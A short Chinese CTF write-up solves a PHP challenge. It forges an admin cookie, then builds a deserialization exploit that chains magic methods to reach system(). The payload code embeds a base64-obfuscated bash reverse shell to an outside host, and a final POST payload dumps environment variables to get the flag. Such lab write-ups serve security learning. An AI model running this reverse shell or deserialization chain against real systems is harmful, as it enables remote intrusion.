每日一题 —— [HZNUCTF 2023 preliminary]ppppop¶
打开题目是一片空白页,在确认了这空白页就是题目所给的信息后,我们就尝试利用 dirsearch
扫描,但是并没有什么有用的结果。于是我们就查看题目除了没有发回 html 源代码,还有没有发回别的东西。于是我们就查看 "网络" 选项卡,发现了它有 set-cookie
一项,细看是一个 base64
编码的字符串。经过解码后发现是一个 php 对象的序列化字符串,属性只有一个 is-admin
,并且值为 false
,也就是 b:0
。我们把这个 0 改为 1, 然后 base64 编码之后重新作为我们发送的 cookie
值。重新发送后,就发现我们看到了 index.php
的源代码了。
观察代码,有两个类,一个是 A
,一个是 B
。其中 A
类有 __destruct
方法,也就是可以作为反序列化的入口类。B
类有一个 __call
方法,其中方法的实现非常简单,就是直接把调用 B
类的类方法直接转为公有的函数。也就是说你直接调用 B->eval()
就相当于调用了 eval()
函数。
这里直接给出我的 payload:
<?php
class A {
public $className = 'B';
public $funcName = 'system';
public $args = 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=" | base64 -d | bash';
}
$a = new A();
$b =urlencode(base64_encode(strrev(serialize($a))));
echo $b;
$args
那个属性直接写上 env
就可以。因为 flag 就在 FLAG
环境变量里。
最终 payload:
POST:
payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw%3D%3D
文章热度:0次阅读